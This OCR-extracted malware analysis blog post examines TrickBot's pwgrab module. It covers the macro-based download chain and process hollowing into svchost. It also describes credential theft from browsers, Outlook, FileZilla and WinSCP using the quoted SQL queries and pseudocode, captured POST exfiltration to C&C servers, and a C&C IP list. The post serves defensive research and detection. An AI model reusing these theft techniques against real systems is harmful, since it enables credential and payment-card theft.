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The TrickBot malware family has been live for several years, mainly focused on stealing victim’s online banking
information. In new samples recently collected by FortiGuard Labs, we found a new TrickBot variant, with a new
module pwgrab, which attempt to steal credentials, autofill data, history and so on from browsers as well as
several software applications. I did a deep analysis on this pwgrab module, and in this blog I will explain how it

works on a victim’s system.
TrickBot downloaded by opening an excel file

The new TrickBot variant is spread by an Excel file (originally named “Sep_report.xls”) using a malicious Macro
VBS code that is executed when the victim opens the file in Microsoft Excel. We captured this sample on October
19t 2018. Figure 1 shows that “Sep_report.xls” is opened in Microsoft Excel where it requests that the victim

enable the embedded Macro by clicking on the “Enable Content” button.
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Figure 1. Sep_report.xls opened in Microsoft Excel

The VBA code is password protected for viewing. To analyze the code, I manually modified the protected flag to

bypass the password protection.
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The VBA code starts with the function “Workbook_Open”, which is called automatically when the Excel file is
opened. It then reads data from Text control, which is encoded Powershell code. In Figure 2 you can see part of

the decoded Powershell code.
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Figure 2. Decoded Powershell code

Finally, the Powershell code is executed to download the file from “hxxp://excel-office.com/secure.excel” and save
it to a local temporary folder with the name “pointer.exe” whereupon it runs it. As you may have guessed, the

“pointer.exe” file is actually TrickBot.
Task Schduler Starts TrickBot to load pwgrab32

When “pointer.exe” runs for the very first time, it creates the “%AppData%\VsCard” folder as its home folder,
then copies “pointer.exe” into it and renames it as “pointes.exe”. In this version it also changes its module folder:
the new one is “%AppData%\VsCard\Data” instead of the previous “%AppData%\[random folder

name]\Modules”. Figure 3 is a screenshot of the new folder.
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Figure 3. Screenshot of the new module folder “Data”

As with its previous version, it installs itself into the system “Task Scheduler” so it can run automatically by “Task
Scheduler”.

After “pointes.exe” runs for a little while, it sends the command “5” request to its C&C server with the string
“pwgrab32” for a 32-bit platform (or “pwgrab64” for a 64-bit platform) asking to download the new module of

“pwgrab32”, just as it does for downloading other module files such as “systeminfo32” and “injectdl132”.

To learn more about the packet format of command “5” and the command’s purpose, you can refer to my previous
blog. All files downloaded through command “5” in older versions are AES encrypted. Recent versions have
added one more XOR encryption on AES encrypted data .So to get to the original pwgrab32 module we had to go

6th

through two-layer decryption. The pwgrab32 module was generated on October 16, 2018 and was developed

with Borland Delphi 3.0. Figure 4 shows the pwgrab32 module analyzed in a PE tool.

Page 3 of 16


https://www.fortinet.com/blog/threat-research/deep-analysis-of-the-online-banking-botnet-trickbot.html
https://www.fortinet.com/blog/threat-research/deep-analysis-of-the-online-banking-botnet-trickbot.html

https://www.fortinet.com /blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html

' CFF Explacer VIl - [pagrabad_decrypt_mod] - [m] 4
File Settings 7
B e .
"
Hame Virtual Size Virtwal Address | Raw Sive Raw Address | Relog Address | Linenumbers | Relocations M| Linenumbers ... | Charactersstics
£ = File: pworab2_decrypt_mod
— & Doa Header 4 I
H H Headers Byteld] Dword Drword Dword Dward Drevord word Word Word Cwerd
fﬂ :ﬂ":d" et D00ACISE  OOTOOD OOACH00 0OOOSDD OODOOOOO 00000000 0000 0000 50000020
A Data Dweciodes k] rdats DOOICCIE OOCAEDDD D001 CEDD COGACE00 0000000 00000000 Lk ] 000D 40000040
— [ Secton Headen k] data DOOIESZE B00CBOND 0001200 DOOCSE00 D000 00000000 0000 0000 CO000040
— S Expor Drwctory
— ZZiimpert Drmctony Agfids 00000128 DOCEADD) 00000200 DODES00 [Lveeneisl 0000000 o] 10000 40000040
— =) Resource Dwectony ] 1
| & TSIC 0O0001ED QO0EBOOD 00000200 COQESALD Lliiioeii] 00000000 (i) 0000 40000040

— Import. Adder

—%ﬂl"‘ Offgmt 0 1 2 3% 4 5 & 7 & % A B CDEF hecii
ao0poo00 | 40 SA& %0 00 0% 00 00 00 04 OO0 O0D O0 FF FF OO 00 | HE .1...1 ¥V

_ﬁm 0o0oo0d1o | B8 00 00 00 OO0 00 00 00 40 00 00D OO0 00 00 00 00 PR BT

= % Fesource Edtor Qo000020 | 00 00 00 00 00 00 00 00 00 00 00 0D 00 00 00 00 | ..ol

L— 3% UPX Ukility 0oopoo30 | 00 00 0O 00 OO Q0 00 00 0O 00 00 00 23 01 0O OO &I
00000040 | OE 1F BA OE O0 B4 09 CD 21 B& 01 4C CD 21 54 6B 120 10 1liTh

00000050 | 63 73 20 0 72 &F &7 72 61 6D 20 63 61 EE &E 6F | 1= program cannoc
0000OoOGD | 74 20 E2 65 20 72 75 EE gE 6% 4E 20 44 4F £2 20 t.m;.'l: r\m*in oS

n ..
00000080 | 06 12 25 2B 42 73 AB 78 42 73 4B V8 42 73 4B 78 | 11¥+BsKxBskxBakz
00000090 | F& EF BA 78 4D 73 4B 78 Fo EF BB 78 D3 73 4B 78 | catxlskxoa , xOskKx
000000AD | Fé EF B 78 S8 73 4B 78 81 7C 16 78 40 73 4B 7B | GilxXsKx |jJxd@sEx

Figure 4. Decrypted pwgrab32 being analyzed in CFF Explorer

During my analysis of “pointes.exe” I can see that it uses some anti-analysis techniques to make it harder to be
analyzed. For example, it encrypts all string information to protect itself from being analyzed statically and

dynamically loads APIs during running time.

From the file name of “pwgrab32” we can guess it will grab password information from the victim’s system. Let’s

go on to see how it will do this.

After downloading and decrypting “pwgrab32”, “pointes.exe” continues to load “pwgrab32”. Just like when
loading other modules, it calls the API “CreateProcessAsUserW” to create a suspended “svchost.exe” process. It
then injects a piece of code from the “pointes.exe” memory to this svchost.exe process memory by calling the API

» o«

“WriteProcessMemory”. By calling the API “ZwQueryInformationProcess”, “pointes.exe” can get “svchost.exe

)

]
ProcessBasicInformation from which it can locate the OEP (Original Entry Point) of “svchost.exe” in its PE
structure. Furthermore, it can modify the code at OEP to execute the copied piece of code. It then calls

“ResumeThread” to resume running “svchost.exe”. Figure 5 is a code snippet of finding “svchost.exe”’s OEP.
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:B18F4FE7 push eax ; :; returned ProcessInformation -
:B18FA4FES mov esi, ecx

:B10F4FER mov ec¥, ds:APIsTable ; ;111B858, the old data is BOx74E250
:B10F4FFB + : yi i 5
:B10F4FFo6 push ebx : 3 B means ProcessBasicInformation
t@10F4FF7 ush edl ; :ProcessHandle

:B10F4FF 8 r-gall edx ; =i call ZwuueryInFurmatinnPrucess | b
B10F4FFA test eax, eax

tB10F4FFC js short loc_10F505B

tB18F4FFE mov ecx, [ebp+uar_24]

818r50801 push 18h

:010F5003 lea eax, [ebptuar_10]

:@18F5 886 push eax

t@10Fs a7 push ecx

:610F5008 push edi

:B168F5 809 mov ecx, esi

-010F5 008 call sub_10F52C0 ; scall=>ReadProcessHemory

tB18F5818 test eax, eax

tB18F5812 jz short loc_ 16FSO5B

t@18F5 014 mov eax, [ebp+var_ B] ; ;;; base address of suchost.exe
tB18F5817 push 48h

818F5819 lea edx, [ebp+var 68]

te10F501C push edx

t@18F581D push eax

810FSB1E push edi

t@18F581F mov ecx, esi ; »; Fead HZ header.

sB10F5 621 call sub_168F52CA ; scall=>ReadProcessiemory

t@10F5 026 test eax, eax

:B10F5 828 jz short loc_10F505B

tB18F5 820 moy eax, [ebp+uvar_ 2C]

t@10F502D add eax, [ebp+uvar_ 8]

:818F5838 push BF8h

:B18F5835% lea ecx, [ebp+var_168]

:010F5 03B push 144

t@18F583C push eax

< 816F583D push edi

tB18F583E mov ecx, esi ; 337 PE structure.

:B10F- 040 call sub_168F52CA ; scall=>ReadProcessiemory

1 @10F5a45 test eax, eax

t@10F5 847 jz short loc 18F5085B

:610F5 849 mou eax, |ebp+ruar 138] ; :: OEF offser.

- B10F504F add eax, [ebptrvar_8] ; ;ﬂ; conculate ODEP of svchost.exe.
:B108F5 852 Pop Bd1l

810r5853 pop esi

t010F5054 pop ebhx

:B18F5855 mow esp, ebp

818F5857 pop ebp

:010F50858 retn h

- B B arn

Figure 5. Find svchost.exe OEP

Next, API “WriteProcessMemory”, “SignalObjectAndWait”, and “WaitForSingleObject” are called a number of

times by both “pointes.exe” and “svchost.exe” to maintain synchronicity to finish copying the decrypted

3

pwgrab32 and related information, such as copying the C&C server IP list from “pointes.exe” onto “svchost.exe”.

Finally, “pwgrab32!10006634” (the OEP of pwgrab3?) is called by the copied piece of code mentioned above.
From this point on, the pwgrab32 takes over the work to collect any password related data.
pwgrab32 Collects Credentials from Browsers of Victim’s System

At first “pwgrab32” decodes the “core-parser.dll” module , loads into the memory, and makes it ready for use. It

has several export functions, as shown in Figure 6.

Page 5 of 16




https://www.fortinet.com /blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html

~- | Eimavewa ) | [BHexview-1 ) | [A] stuctwes (1) | Flenums £ | Fimports (] | Fewors @ |

Name Address Ordinal
BanRule 00248180 1
ClearRules 0024B1C0 2

[#] ConfiglnitDpost 00248100 3

E‘E ConfiglnitDynamic 0024BOED 4

@ ConfiglnitStatic 0024B0F0 5
EnumDpostServer 0024B1D0 6

[##] FindRule 0024B110 7
FindStaticRule 0024B140 8

[#] GetConfigError 0024B1A0 9

@ GetHandler 00248160 10

@ GetHandlerHost 0024B180 1

| GetHandlerPort 00248170 12

@ GetQueryMode 0024B190 13

@ 1s404Url 0024B150 14

(8] DllEntryPoint 0024C0B1 [main entry]

Figure 6. core-parser.dll export function list

Function “EnumDpostServer” returns the C&C server IP address, which will be called by “pwgrab32” when it

wants to send data to the C&C server.

It launches three threads to grab credentials from three different browsers. They all share the same thread function
but different parameters. From my analysis, parameter 1 is for Internet Explorer, 2 is for Firefox, 3 is for Chrome,

and 4 is for Edge. However, in this version Edge is disabled.

There is also a very huge function, “pwgrab32!sub_100137F8”, which executes the operation of collecting saved
credentials from all browsers. There are different code branches for different browsers. I will show you how it

works.

One interesting thing I found in the “pwgrab32” code is that it encrypts plain text byte by byte, decrypts it back to
plain text, and uses that decrypted plain text. Is this a joke by the Trickbot author? No, it should be an anti-
analysis technique to hide plain text. However, I think the author simply forgot to remove the decryption function
and replace the plain text with the encrypted one before compiling this module. This error appears many times

throughout the pwgrab32 module. Figure 7 shows a code snippet of that.
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10014188 shl eax, 3

10814188 mouvzx eax, byte ptr ds:alePasswords[eax] ; "IE passwords”
18014192 push eax

10814193 lea ecx, [ebp+var_ 14E] : encri key 6h

18814199 call encrypt_1byte

1081419E mou [ebpruar_LW5

1801 41AL Xor

180141A6 inc

180141A7 imul 4

108141AA nouzx eax, byte ptr ds:alePasswords[eax] ; "IE passwords"”
18814181 push eax

18014182 lea
108014188 cal
18014180 mow

ecx, [ebp+var 14E] ; encryption_key 6h
encrypt_1byte
[ebp+var_144], al

188141C3 X0 eax, eax

188181C5 ing eax

188141Ch im eax, BAh

108141C9 nov eax, byte ptr ds:alePasswords[eax] : "IE passwords”
18014108 pusi eax

188141D1 lea ecx, [ebp+var_14E] ; encryption_key 6h

108141D7 call encrypt 1byte

188141DC mowv p

188141E2 ®ovr

100141EL inc

108181ES imul

1088141EB novzx eax, byte pt salePasswords[eax] ; "IE Swords™
188181EF push eax

188141F8 lea ecx, [ebp+var 14E] ; encryptipn key 6h

108141F6 call encrupt bute

108141FB now [ebp+var_142], al

18014281 xor eax, eax

18814283 mov [ebp+uar_141], al

18014269 lea ecx, [ebp+var_14E] ; encryption_key bh

186142 BF call decrypt_function ; ;;; decrypt as “IE passwords"

Figure 7. Plain text “IE password” being encrypted first and decrypted later
1> Thread Parameter 1 for Internet Explorer:
According to the Windows system version, there are two different code branches for IE.

If a victim’s system version is Windows 2000, Windows XP, Windows Vista, Windows Server 2008, Windows 7,
Windows 10, or Windows Server 2016, it reads and enumerates values from the system registry sub-key
“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2”, which contains the
SHA1 hash code list of saved website hosts and saved credentials for this website. Figure 8 is a screenshot of the
“Storage2” sub-key on my Windows 7 system. Calling the APIs “FindFirstUrlCacheEntryW” and
“FindNextUrlCacheEntryW?”, this malware can enumerate all cached websites. Furthermore it can calculate SHA1
hash code for each website host (for example “http://www.fortinet.com/”) through comparison with the hash code
from the sub-key “Storage2”, whereupon it can obtain the website’s host. It then parses the third column data to

get the credential for the website. Finally, it saves the collected credentials in this format:

“Website host|Login ID|Login password”.
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5| 1IFSE10BA496ES0ESRBG2EDEL E1DDE3936B105FTOF3D
-5] 21B3B3BE26CCA2DEODC2T3A0DEEBERBBETD23BCAFA

| 226B9EFE137173EF07EC1 F353D3DETESA3D1319C1
4 2305244460041 C6ATSF3FOBEAICSIBESSOIEL19L

o ]

Type

REG_SZ
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BIMARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY
REG_BINARY

L
; Saved Credential for Website
010000 00 d0 &c O df 01 15 dl 11 8¢ Ta(
010000 00 d0 &c O df 01 15 dl 11 8c Ta(
010000 00 d0 &c 9d df 01 15 d1 11 Be Tal
01000000 d08cOd df 0115d1 11 Bc Tl
01000000 d08c9d df 01 15dl 11 BTl
01000000 d0 8c 9 df 0115d1 11 8c 7a(
01 00 00 00 d0 &c 9d of 01 15 d1 11 Bc Tal
010000 00 d0 &c Oel df 01 15 dl 11 8e Tal
010000 00 d0 8c O df 01 15 dl 11 8c Tal
0100 00 00 d0 8c 9d df 01 15 dl 11 Be Tal
010000 00 dO &c 9 df 01 15 d1 11 8c Ta
01000000 d0 &c 9 df 0115 dl 11 8c Ta(
01000000 d0 & 9 df 0115 d1 11 8c Tal
0100 00 00 d0 &c 5d df 01 15 d1 11 Bc Tal
01000000 d0 8¢ 9 df 01 1561 11 B Tal
01000000 d0 8 9 df 01 15 dl 11 8cTal
01000000 d0 8c 9d df 0115 d1 11 8c Tal
010000 00 dO &c Oe df 01 15 dl 11 8c Tal
010000 00 d0 8 Od df 01 15 dl 11 8c Tal
0100 00 00 d0 &c 9d df 01 15 d1 11 Bc Tal
01000000 d0 8c 9d df 0115 d1 11 Be T2l
01000000 d0 8¢ 9d df 01 15d1 11 Bc 780

010000 00 o 8c 9 df 0115 d1 11 BcTal

3

Computer\HKEY_CURRENT_USER\Software\Microscft\Internet Exploren\IntelliForms)Storage2

Figure 8. Screenshot of sub-key “Storage2”

When the victim’s system is another version, it calls some additional APIs to get credentials. Here is a pseudo

code of this process for getting credentials.

if ( VaultEnumerateVaults(0, &a4, &ab) )

return 0;
vi0 = 0; a2 =0;
if (a4 ) { v7i1l = 0; a3 = 0;
while ( !VaultOpenVault(v71 + a5, @, &vars@) && !VaultEnumerateItems(vars@, 512, &al, &retaddr) )
{ v72 = 0;
if (a1l ) {
v73 = 1pCriticalSection;
v74 = ai;
do {
memset (&ab5, 0, OxEQ8u);
if (v7d)
v75 = sub_100133F2(v72, &ab5);
else
v75 = sub_1001329C(v72, &ab5);
if (v75) {

wnsprintfA(&String, 1024, "%S|%S|%S\n", &a66, &ab67, &ab8);
v76 = sub_1000CBB8(&String);
sub_1000D1AA(v73, &String, v76);
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++v72;
}
while ( v72 < a1 );
v70 = a2; v71 = a3;
}
VaultFree(retaddr);
VaultCloseVault(vars@);

2> Thread Parameter 2 for Mozilla Firefox:

This code thread reads the Firefox installation path from the system registry, and then calls the API
“SetCurrentDirectoryA” with the installation path to set the current directory to the Firefox installation path so it

can easily read the credential files of Firefox and load a dll which is used to handle Firefox credentials.

“pwgrab32” continues to load nss3.dll of Firefox and read some Firefox files from its AppData folder, such as
"%AppData%\Mozilla\Firefox\Profiles\e375zm7t.default\logins.json". It then calls the APIs of nss3.dll, like
“PK11_GetInternalKeySlot”, “PK11_Authenticate”, and “PK11SDR_Decrypt” to parse saved credentials in the

file, “logins.json”. Below is a piece of data from “logins.json”.

{"id":5,"hostname" : "https://api.twitter.com", "httpRealm" :null,"formSubmitURL": "https://api.twitter.com", "usern:

Finally, it saves the credentials in a format like IE’s.
3> Thread Parameter 3 for Google Chrome:

Before the thread function is created, pwgrab32 makes two file backups of the files “Login Data” and “Web
Data”. Both of them are located in the "%Local AppData%\Google\Chrome\User Data\Default\” folder. Chrome
stores the login credentials of the victim in the file “Login Data”, and saved autofill and credit card information is
stored in the file “Web Data”. It makes a backup of the two files so it can read data from backup files instead of
the original files to avoid a reading conflict when the victim is using Chrome. The two backup files are “Login
Data.bak” and “Web Data.bak”. They are both SQLite database files.

“pwgrab32” uses the open source project SQLite database engine to handle the two SQLite files. In Figure 9, you

can see that the data of the SQLite database engine is linked in “pwgrab32”.
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10BC3628 ; DATA XREF: sub_18025507+1970
188C365R align &

10BCE65C aWinseekfile db “winSeekFile' B ; DATA XREF: sub_10025946+8CT0
1TABC3A50

10BEI668 aWinclose dbh ‘winClose® @ ; DATA MREF: sub_10025679+4F o
1TABC3671 align &

1RRCAATE aWinread dh ‘winRead® ,d ; DATA XREF: sub_100256ER+18270
1EBCE6TE aWinwrited db “winWritel® ,@ ; DATA XREF: sub_10025834+E6T0
10BC3686 align &

THBCEAEE aWinurite? db “winWeite2® , @ : DATA XREF: sub_ 1002583440770
188C3692 align &

1R0C3698 aWintruncated db “winTruncate1®,8 ; DATA XREF: sub_1002594%6+a970
TABC36AT align &

1RBEAAAR aWintruncate? dh ‘winTruncate?® .0 ; DATH NREF: sub_10025946+E4T0
18BC36B1 align &

1AACAARE aWinsynct db “winSynci® . @ ; DATA XREF: sub 180825454+2Fio
10BC26BD align 1@n

1AACAACE aWinsync? db “winSync2®,@ ; DATA XREF: sub 18025A54+5ATo
THBCIGEYD align &

1ABCEGCE aWinfilesize db "winFileSize® ,B ; DATA XREF: sub_1@825AC3+487o
100c36a08 aWinunlockreadl db ‘winUnlockReadlock .8 : DATA XREF: sub 1ORZSEEA+GATO
1ABCIGER align &

1RAEAGEE aWinunlock dh ‘winlUnlock",@ ; DATAH NREF: sub_10025E37+4Dio
1RBG36F & align &

1B0C36FE a%Shm db "%s-shm',B ; DATA XREF: sub_18028264+5CT0
THBCIGFF align 1@n

1HACET7 00 aWinopenshm db “winOpenShm® ,@ ; DATA XREF: sub 10026264+14D070
THBCI 7 aR align &

1BBCETAC aWinshmmapi db “winsShmMap1® ,8 ; DATA XREF: sub_10826637+7370
1RBCATAT align &4

1ABCET1E aWinshmmap2 db “winshmMapz® .8 ; DATA XREF: sub_18826637+D@To
1RBC3723 align &

1RBC3728 aWinshmmapd db “winsShmMap3* ,@ : DATA XREF: sub_10026637+1837T0
18BC372F align 1@h

THBCEF30 avWinunmapfilel db “winUnmapfilei® .o ; DATA XREF: sub_10026810+2770
1BBC373E align 1@h

1RRCIT7TH0 aWinunmapfile2) db “winlUnmapfile2® .0 ; DATA XREF: sub_10026810+4FTo
188C374E align 1@n

TRRCETER aWinmapFiled db “winMapfile1® .8 ; DATA XREF: sub_1002688F+BETo
1ABCETSE aWinmapfFile2 db “winMapfilez® ,B ; DATA XREF: sub_1002688F+104To0
108C3768 aEtilgs_ db "etilgs ',@ ; DATA XREF: sub_18026A57+hT0
THBG3 F 68 ; sub 1ABZ6AST :loc 1ABZ6CA63To

Figure 9. SQLite database engine’s code

Next, “pwgrab32” executes an SQL expression like "select origin_url, username_value, password_value,

length(d_value) from logins where blacklisted_by_user = 0" to obtain the credentials from “Login Data.bak”.

“pwgrab32” continues to execute three SQL expressions to grab autofill information, credit card information,

email address, country, company, street address, full name, phone number, etc. from “Web Data.bak”.

The SQL expressions are decrypted from three local variables:

“SELECT name, value FROM autofill WHERE name<>"cd[Meta]"" AND name<>"cd[OpenGraph]" AND name<>"cd[Schema.org]"
“SELECT expiration_month, expiration_year, card_number_encrypted, use_date, origin FROM credit_cards ORDER BY o

“SELECT profiles.origin, profiles.company_name, profiles.street_address, profiles.city, profiles.state, profile

The grabbed credentials and form autofill information collected from the browsers is sent to the C&C server

immediately when one is done.
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Next, I’ll discuss the packet format and how it’s sent to its C&C server in the “Report Credentials” section below.
pwgrab32 Collects Credentials from some Clients

After all of the three threads above are finished, “pwgrab32” steals credentials from three client software sources:

“Outlook”, “FileZilla”, and “WinSCP”. In Figure 10 you can see the functions being called to collect credentials

from them.
text:1BBB65ES lea eax, [ebp+Threadld]
Stextz100065E8 push ea : lpThreadld
text:108065E9 push ebx ; dwCreationFlags
-Lext2100065EA push 1 : LpParameter ;;:33iisiisiss IE
Ltextz1008865EC push edi ; lpStartAddress
-text:100855ED push ehx ; dwStackSize
-text:100855EE push ehx 3 lpThreadittributes
text i 108865EF call esi ; CreateThread
text:100065F1 now ebx, eax
Stextz100065F3 lea eax, [ebp+Threadld]
Jtext:108065F6 push eax ; lpThreadld
Stextz100065F7 xor eax, eax
Ltextz100865F9 push eax ; duCreationFlags
-text:100855Fh push 2 ; lpParameter ;;;:3:3:::5 FireFox
-text:100855FC push edi ; lpStartaddress
-text:100B65FD push eax ; duwStackSize
Ltext:100065FE push eax 3 lpThreadAttributes
LLextz100065FF call esi ; CreateThread
Ltext:10006681 nou esi, ds:__imp_WaitForSingleObject
Ltextz 10006607 nou edi, eax
Jtext:z100086609 push BFFFFFFFFh ; duMilliseconds
-text:1000846600 push [ebp+hHandle] H
-text:1008568E call esi ; _ imp_WaitForSingleObject
text:z 10086610 push BFFFFFFFFh ; dwiilliseconds
textz 10006612 push ebx H
Jtext:10006613 call esi ; _ imp_WaitForSingleObject
Jtextz10006615 push BFFFFFFFFh ; duHilliseconds
Ltextz10886617 push edi H
Ltext:z10006618 call esi ; dimp WaitForSingleObject
Ltext: 10006614 call sub_10081D53 3 a:a: Outlook password
-text:z1008561F call sub_10087 BIE ; 3 FileZilla password
text:z10085624 call sub_10089D2F 3 3:WnSCP password
textz 10006629 o s
Jtext:10006620 pop esi
text:10006628 xor eax, eax
LLextI 10086620 pop ebx
Ltextz1000662E nou esp, ebp
-text:z10006630 pop ebp
Ltext 10086631 retn 4
-text:10085631 Thread Fun endp

-Pext s 1AAAGAIA

Figure 10. Functions to collect credential from Outlook, FileZilla and WinSCP

“Outlook”’s profile is stored in the system registry. According to different versions, its registry paths are
"HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook",

"HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook" and
"HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook".
“pwgrab32” then goes through all the keys and reads and parses the values to grab the credentials.

Figure 11 shows an Outlook credential grabbed by “pwgrab32” from my test system. The format is “Host|Account

name|Password”.
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Figure 11. Grabbed credentials from Outlook

FileZilla is an FTP client software that stores its history as plain text in file
"%APPDATA%\\filezilla\\recentservers.xml", and stores its login data as plain text in file
"%APPDATA%\\filezilla\\sitemanager.xml". “pwgrab32” can easily obtain their history records and credentials
by parsing these two XML files.

WinSCP is another FTP client software. Its credentials are stored in the system registry under the registry path
“HKCU\Software\Martin Prikryl\WinSCP 2\Sessions\”. “pwgrab32” can grab its credentials by enumerating all of
the sub-keys and reading out their values “HostName”, “PortNumber”, “UserName”, “Password”, and
“FSProtocol”.

Report Credentials
Trickbot has many C&C commands. I have talked about these commands in detail in my previous blog.
In module “pwgrab32”, however, I observed that it has new command numbers: 81 and 83.
Command 81 is for reporting grabbed credentials of Browsers, FTP clients, and Outlook.
Command 83 is for reporting grabbed form autofill information from Google Chrome.
It uses HTTP POST method to report the plain text credentials to the C&C server.
The POST URI format is like this:
POST /[group tag]/[Client_ID]/[Command number]/
The body part is the grabbed credentials or form autofill information in plain text.
“group tag” is “autol”.
“Client_ID” is generated with the computer name, Windows version and random string.

Figure 12 shows reporting “chrome password” using command 81.
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Figure 13 shows reporting “chrome autofill information” using command 83.

: :
M Wireshark - Follow TCP Stream (tcpstream eq 46) trickbat o | Ey

POST /autol/ M 1517661 . E5EC A 5o DF CFG910AES/ 81/ HTTR 1.1

Accept: =/

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/7.8; SLCC2; .MET CLR 2.8.58727; .MET CLR 3.5.38729;
MET CLR 3.8.38729; Media Center PC 6.8; .NET4.8C; .NET4.8E)

Host: 173.171.132.82

Connection: close

Content-Type: multipart/form-data; boundary=s--------- AECKVZHLTEDSTHOY

Content-Length: 267

........... AECEKNTHL TGOS THOY
Content-Disposition: form-data; name="data™

https:/ fwew. Facebook. com/ | R j8g=ail . com I

---------- ~AECKTE TGOSTHOY
Content-Dizposition: form-data; name="source™

chrome passwords

HTTP/1.1 288 OK

connection: close

server: Cowboy

date: Tue, 23 Oct 2018 18:25:12 GMT
content-length: 3

Content-Type: text/plain

f1/
7 e phta, 3 perwer pie. 3 e,

| [Entie conversation (220 bytes) -] Show and save dataas [ASCH = | Steam % |
P

-

[Fiter cueThis Sweam| | Pt | [ saveas. |[ ek | [ cose || men

Figure 12. Report grabbed credential data from Chrome
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[ M Wireshark - Follow TCP Str

POST fautel/MEEEEEE———c1 . s . - = HTTR/1.1

Accept: /=

| User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/7.8; SLOC2; .MET CLR 2.8.58727; .MET CLR 3.5.38729;
| .MET CLR 3.8.38729; Media Center PC 6.8; .NET4.8C; .MET4.8E)

)| Host: 173.171.132.82

Connectian: clase

Content-Type: mu lt:i.pa rt/form-data; boundary=---------KPIHOIFCWGMZIDDIH

Content-Length: 998

========-==KPJNOTFCWGMZODTH
Content-Disposition: form-data; name="formdata™

{"dl™:[“https:/  www. techworld. com/download/ocperating-systems -distros/windows-7-ultimsate-spl-32-bit-3249883/", “https://
ww . techworld. com/download/operating-systems-distros fwindows-7-ultimate-spl-32-bit-3249883/?1inkid=41429" , "https://
wwn . techworld. com/tech-innovation/essential-free-software-tools-for-windows-7-3205338/7],"ec™: ["1"], "email™:
["TEGErail . com” ], "es” : [automatic” ], "ev” [ "Microdata™ ], "id" : [ " eeeeeIeeeeR21" ], "if": [“false™], "it":
["1Saneeeaney 2" , " 15 MR 7 7", " 15 " ] "o ["287],"r" [ "stabla™], "rl": [ "https: [ fvene. google. com/", "https: S/
wwwi - techworld. com/"], "sh" :[“795%], "sw" :[ "14487], "t5":

[™1oeeer—s , " 12" , " 15 R -, " 15 E 1 3, " 15 ], v [72.8.147 ]}

----------- KPINOIFCWGMZIODIH

Content-Disposition: form-data; name="billinfo™

{1}
- = = == m = = KPINOTFCWGMZODTH

Content-Dizposition: form-data; name="cardinfo™

----------- KPIHOIFCWGMZODTH- -
HTTR/1.1 28@ OK

connection: close

server: Cowboy

date: Tue, 23 Oct 2018 18:25:13 GMT
content-length: 3

Content-Type: text/plain

s

et phes, 7 ravver pkes, F o,

Enlre conversation (1551 bytes) | Show and save data as |ASCIL = Stream 47 |2
Fr

[Fiter Out Thssweam| [ Pt | [ Saveas. | [ Back || Cose || b |

Figure 13. Report form autofill data from Chrome

Below is an IP list of the C&C servers that are used to handle the credential data. The IP list was decrypted by
“pointes.exe” from the file “dpost”, and was passed to “pwgrab32” by calling the API WriteProcessMemory.
Calling the API EnumDpostServer(fun_index) of core-parser.dll, we can get one IP of them by using the

fun_index.

<dpost>
<handler>http://173.171.132.82:8082</handler>
<handler> http://66.181.167.72:8082</handler>
<handler> http://46.146.252.178:8082</handler>
<handler> http://97.88.100.152:8082</handler>
<handler>http://174.105.232.193:8082</handler>
<handler>http://23.142.128.34:80</handler>

<handler>http://177.0.69.68:80</handler>
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<handler>http://5.228.72.17:80</handler>
<handler>http://174.105.232.193:80</handler>
<handler>http://177.0.69.68:80</handler>
<handler>http://23.226.138.220:443</handler>
<handler>http://23.226.138.196:443</handler>
<handler>http://23.226.138.221:443</handler>
<handler>http://92.38.135.151:443</handler>
<handler>http://198.23.252.204:443</handler>
</dpost>

Solutions

"hxxp://excel-office.com/secure.excel " is rated as Malicious Websites by the FortiGuard Webfilter service, and
Sep_report.xls is detected as VBA/Agent.JHAZ!tr.dldr and pointer.exe as W32/GenKryptik. COMA!tr by the

FortiGuard Antivirus service.

How to remove this malware:

1) Open Task Scheduler and go to Task Scheduler(Local) -> Task Scheduler Library

2) Select the item named “Msnetcs”, press the Delete key, and then click Yes.

3) Restart your system and delete the entire folder of %AppData%\VsCard.

IoC

URL:

"hxxp://excel-office.com/secure.excel "

Sample SHA256:

[Sep_report.xls]

41288C8A4E58078DC2E905C07505E8C317D6CC60E2539BFA4DF5D557E874CDEC
[secure.excel] or [pointer.exe] or [pointes.exe]
D5CADEF60EDD2C4DE115FFD69328921D9438ACD76FB42F3FEC50BDAAB225620D
Reference
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https://www.fortinet.com/blog/threat-research/new-trickbot-plugin-harvests-email-addresses-from-sql-servers-

screenlocker-module-not-for-ransom.html

https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-

browsing-data/
https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/

https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-

module/
Sign up for our weekly FortiGuard Threat Brief.

Know your vulnerabilities — get the facts about your network security. A Fortinet Cyber Threat Assessment can

help you better understand: Security and Threat Prevention, User Productivity, and Network Utilization and

Performance.
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